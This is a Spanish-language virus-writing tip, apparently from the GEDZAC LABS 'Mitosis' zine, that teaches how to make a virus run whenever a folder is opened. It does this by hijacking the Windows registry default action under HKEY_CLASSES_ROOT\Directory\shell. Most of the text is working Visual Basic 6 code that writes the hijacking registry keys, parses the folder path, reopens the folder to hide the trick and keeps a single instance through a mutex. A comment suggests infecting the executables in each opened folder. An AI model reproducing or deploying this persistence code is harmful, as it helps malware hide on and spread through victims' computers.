    Ejecutarnos cuando se abre una carpeta:
    ----------------------------------------

    Recomendado leer antes "Interceptacion de ejecutables" en los articulos
    de www.gedzac.com

    Esto no ser un articulo, sino solamente un Tip que me parecio interesante

    Estaba probando un Programa P2P que me recomendo un amigo, pa bajar
    canciones, y como esas cosas tan llenas de spyware, pos me puse a ver que
    hacia el spyware que me habia instalado, y me sorprendio que si cerraba
    el proceso, cuando abria una carpeta se volvia a ejecutar, pa no hacer
    larga la historia:

    Aplicando la teoria de lo de interceptar los ejecutables, cuando uno abre
    una carpeta, win consulta el registro para ver con que debe abrir las
    carpetas, entonces modificaremos el reg para que win ejecute el virus,
    el virus leera su linea de comandos para obtener el path de la carpeta
    la abrira, verificara si ya se esta ejecutando, en caso de ya estar
    en ejecucion terminara, pa no tener una instancia del virus
    por cada carpeta abierta

    La ruta del reg es:

    HKEY_CLASSES_ROOT\Directory\shell\(Predeterminado) = ""

    Donde el valor predeterminado es: "" ķ none ,por defecto esta vacio,
    hay podemos indicar el nombre de la accion predeterminada que win
    ejecutara, cuando se abra una carpeta, si vemos la llave veremos que
    dentro de shell, hay varias acciones:

    HKEY_CLASSES_ROOT
        |
        |-Directory
             |
             |-shell\(Predeterminado)=""
                |
                |-Accion1
                |  -command\(Predeterminado)="linea de commando"
                |
                |-Accion2
                |  -command\(Predeterminado)="linea de commando"
                |
                |-Accion3
                |  -command\(Predeterminado)="linea de commando"
                |
                |.....

    Entonces vemos que hay varias acciones, que son las opciones que aparecen
    al dar click derecho sobre la carpeta, en mi caso: "Buscar",
    "play in winamp", "browse con ACDsee", etc y "linea de commando" define
    que debe hacer win si se selecciona esa accion, como por ejemplo
    ejecutar el winamp, o el acdsee.
    Si en el (Predeterminado) de shell colocamos "Accion2", entonces win
    ejecutara Accion2 como predeterminada cada vez que el user trate de
    abrir una carpeta, entonces crearemos una nueva accion que ejecute nuestro
    virusy la pondremos como predeterminada, de manera que quede asi:

    HKEY_CLASSES_ROOT
        |
        |-Directory
             |
             |-shell\(Predeterminado)="GEDZAC"
                |
                |-Accion1
                |  -command\(Predeterminado)="linea de commando"
                |
                |-Accion2
                |  -command\(Predeterminado)="linea de commando"
                |
                |-Accion3
                |  -command\(Predeterminado)="linea de commando"
                |
                |-GEDZAC
                |  -command\(Predeterminado)="C:\test.exe "%1" %*"
                |......

    Code Ejemplo:
    --------------
    Este programa al ejecutarse, modificara el reg y cuando se abra una carpeta
    mostrara su ruta en un Msgbox y mostrara la carpeta, para probarlo compilarlo
    como test.exe ejecutarlo desde c:\test.exe

    'Apis y constantes que usaremos
    Private Declare Function WinExec Lib "kernel32" (ByVal lpCmdLine As String, ByVal nCmdShow As Long) As Long
    Private Declare Function RegCreateKeyEx Lib "advapi32.dll" Alias "RegCreateKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal Reserved As Long, ByVal lpClass As String, ByVal dwOptions As Long, ByVal samDesired As Long, lpSecurityAttributes As Long, phkResult As Long, lpdwDisposition As Long) As Long
    Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
    Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
    Private Declare Function GetCommandLine Lib "kernel32" Alias "GetCommandLineA" () As Long
    Private Declare Function lstrcpy Lib "kernel32" Alias "lstrcpyA" (ByVal lpString1 As String, ByVal lpString2 As Long) As Long
    Private Declare Function lstrlen Lib "kernel32" Alias "lstrlenA" (ByVal lpString As Long) As Long
    Private Declare Function CreateMutex Lib "kernel32" Alias "CreateMutexA" (ByRef lpMutexAttributes As SECURITY_ATTRIBUTES, ByVal bInitialOwner As Long, ByVal lpName As String) As Long
    'Private Declare Function GetLastError Lib "kernel32" () As Long
    Private Const ERROR_ALREADY_EXISTS = 183&
    Private Const SW_NORMAL = 1
    Private Const REG_SZ = 1
    Private Const REG_DWORD = 4
    Private Const KEY_ALL_ACCESS = &H3F
    Private Const REG_OPTION_NON_VOLATILE = 0
    Private Const HKEY_CLASSES_ROOT As Long = &H80000000
    Private Const HKEY_CURRENT_USER As Long = &H80000001
    Private Const HKEY_LOCAL_MACHINE As Long = &H80000002
    Private Type SECURITY_ATTRIBUTES
     nLength As Long
     lpSecurityDescriptor As Long
     bInheritHandle As Long
    End Type

    Private Sub Form_Load()
    On Error Resume Next
    'declaramos vars
    Dim l As Long, cmd As String, c As Long

    'llamamos a GetCommandline para averiguar nuestra linea
    'de commandos, no usar la declaracion de esta api que viene con el visor
    'de api en vb6, porque no funka en WinXP, sino declararla como long
    'devuelve un puntero a nuestra linea de commandos
    l = GetCommandLine()

    'calculamos el tamaņo de nuestra linea de commandos
    c = lstrlen(l)

    'llenamos cmd de tantos nulls como el tamaņo de la linea de comandos - 1
    cmd = String$(c - 1, 0)

    'copiamos l en cmd y ya tenemos en cmd, nuestra linea de commandos
    'que sera en caso de ejecutarse solo:  "c:\ruta\virus.exe"
    'si hay alguna carpeta que abrir: c:\ruta\virus.exe "c:\rutacarpeta"
    lstrcpy cmd, l

    'si cmd contiene un espacio seguido de una comilla hay que ejecutar una
    'carpeta
    If InStr(cmd, " " & Chr(34)) <> 0 Then

    'obtenemos el path de la carpeta, y ya que tenemos el path, podriamos
    'usarlo para infectar los exes en esa carpeta ademas de abrir la carpeta
     cmd = Mid$(Left$(cmd, c - 1), InStr(cmd, " " & Chr(34)) + 2)
     cmd = Left$(cmd, Len(cmd) - 1)

    'mostramos el path
    MsgBox cmd

    'abrimos la carpeta, ejecutando: Explorer.exe C:\ruta de carpeta
    Call WinExec("Explorer.exe " & cmd, SW_NORMAL)

    'si no hay carpeta que mostrar
    Else

    'llamamos al sub para modificar el reg
    Call Install
    End If

    'creamos un mutex para saber si ya nos estamos ejecutando
    'si no hay error, permanecemos en ejecucion, si hay error de que ya existe el
    'mutex, terminamos, recordar que cuando estemos probando el code cerrar
    'el mutex con api CloseHandle, sino el mutex permanecera aun despues de
    'terminado el programa y eso nos puede estorbar tal vez en las pruebas
    Dim Mutex As SECURITY_ATTRIBUTES
    Mutex.lpSecurityDescriptor = 0
    Mutex.nLength = Len(Mutex)
    Mutex.bInheritHandle = 1

    l = CreateMutex(Mutex, 1, "GEDZAC")

    'Err.LastDllError se puede reemplazar por la api GetLastError
    If (Err.LastDllError = ERROR_ALREADY_EXISTS) Then
    End
    End If
    End Sub

    'sub para modificar el reg
    Private Sub Install()
    On Error Resume Next
    Rw "HKCR", "Directory\shell", "", "GEDZAC", "SZ"
    Rw "HKCR", "Directory\shell\GEDZAC\command", "", "C:\test.exe " & Chr(34) & "%1" & Chr(34) & " %*", "SZ"
    End
    End Sub

    'Sub para escribir en el reg
    Private Sub Rw(rKey As String, sKey As String, nKey As String, vKey As Variant, mVal As String)
    On Error Resume Next

    'declaramos variables
    Dim RK As Long, l As Long, hKey As Long

    'un select para saber en que llave raiz vamos a escribir
    Select Case rKey
    Case "HKCR"
    RK = HKEY_CLASSES_ROOT
    Case "HKCU"
    RK = HKEY_CURRENT_USER
    Case "HKLM"
    RK = HKEY_LOCAL_MACHINE
    End Select

    'Usamos RegCreateKeyEx en vez de RegOpenKeyEx porque si no existe
    'la llave la crea y sino solo la abre
    'REG_OPTION_NON_VOLATILE para que los datos escritos se
    'conserven despues del reinicio y KEY_ALL_ACCESS para tener acceso
    'total a la llave
    l = RegCreateKeyEx(RK, sKey, ByVal 0&, vbNullString, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, ByVal 0&, hKey, l)

    'select para ver si lo que vamos a escribir es un valor de
    'cadena o dword
    Select Case mVal
    Case "SZ"

    'si es valor de cadena, usamos REG_SZ
    Dim sVal As String
     sVal = vKey
     l = RegSetValueEx(hKey, nKey, 0&, REG_SZ, ByVal sVal, Len(sVal) + 1)

    'si es un valor dword usamos REG_DWORD
    Case "DW"
    Dim lVal As Long
    lVal = vKey
     l = RegSetValueEx(hKey, nKey, 0&, REG_DWORD, lVal, 4)
    End Select

    'cerramos la llave
    l = RegCloseKey(hKey)
    End Sub

    (C) Mitosis 3 - GEDZAC LABS